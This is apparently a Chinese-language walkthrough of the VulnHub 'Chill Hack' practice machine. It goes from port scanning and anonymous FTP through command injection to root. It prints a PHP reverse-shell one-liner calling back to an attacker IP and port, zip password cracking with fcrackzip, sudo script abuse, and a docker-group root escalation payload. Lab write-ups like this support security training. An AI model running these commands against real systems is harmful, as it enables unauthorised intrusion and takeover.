VulnHub-Chill-Hack 靶机渗透
1、先用nmap对Chill-Hack靶机进行端口扫描
扫描出了ftp、ssh、http服务
2、匿名登录ftp服务,查看ftp服务文件,有一个note.txt文件,然后下载过来
得到提示“Anurodh told me that there is some filtering on strings being put in the command -- Apaar”
3、对web服务进行信息收集,首先用dirsearch进行目录扫描
得到目录/secret/,进去之后发现一个命令执行的漏洞
4、漏洞利用
通过php反弹shell,得到www-data的执行权限:
php -r '$sock=fsockopen("192.168.6.129",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
然后目录遍历,对文件进行查看,在var/www/files/hacker.php获得了提示
由于需要找两个flag,他说答案在黑暗中,极有可能是在一些文件中提取flag,目录下除了代码文件还有一些图片文件,可能通过信息隐写放在图片里了
在/var/files/images中有两张图片,可能存在一些信息,但是这两张图片并不能通过web下载,所以我们通过python搭建一个web服务:python3 -m http.server 8080
然后通过wget将图片下载过来,这里需要通过steghide来读取图片中隐写的信息,用outguess提取的时候报错,提取数据过长:
steghide extract -sf hacker-with-laptop_23-2147985341.jpg
可以看到steghide成功提取出了bakup.zip,但是打开需要密码,所以需要fcrackzip来爆破密码:
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt backup.zip //使用kali中自带的rockyou.txt字典
密码:pw == pass1word,接着查看backup.zip中的源码:
<?php if(isset($_POST['submit'])) { $email = $_POST["email"]; $password = $_POST["password"]; if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==") { $random = rand(1000,9999);?><br><br><br> <form method="POST"> Enter the OTP: <input type="number" name="otp"> <input type="submit" name="submitOtp" value="Submit"> </form> <?php mail($email,"OTP for authentication",$random); if(isset($_POST["submitOtp"])) { $otp = $_POST["otp"]; if($otp == $random) { echo "Welcome Anurodh!"; header("Location: authenticated.php"); } else { echo "Invalid OTP"; } } } else { echo "Invalid Username or Password"; } } ?>
可以根据对password比较的过程来解码得出密码为:,而且这里指出密码为Anurodh这个用户的,可以先去查看一下有多少用户
现在我们就可以通过ssh来登录anurodh这个用户,登录成功
在apaar的家目录看到了一个local.txt,但是权限不够不能查看
通过sudo -l查看sudo权限,发现可以执行这个.helpline文件不用apaar用户的密码,那就以appaar的身份来运行它试试
这里输入的message可以造成命令执行,查看local.txt文件,拿到第一个flag
anurodh用户在docker组中,可以使用docker提权到root
payload:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
在/root/proof.txt得到root的flag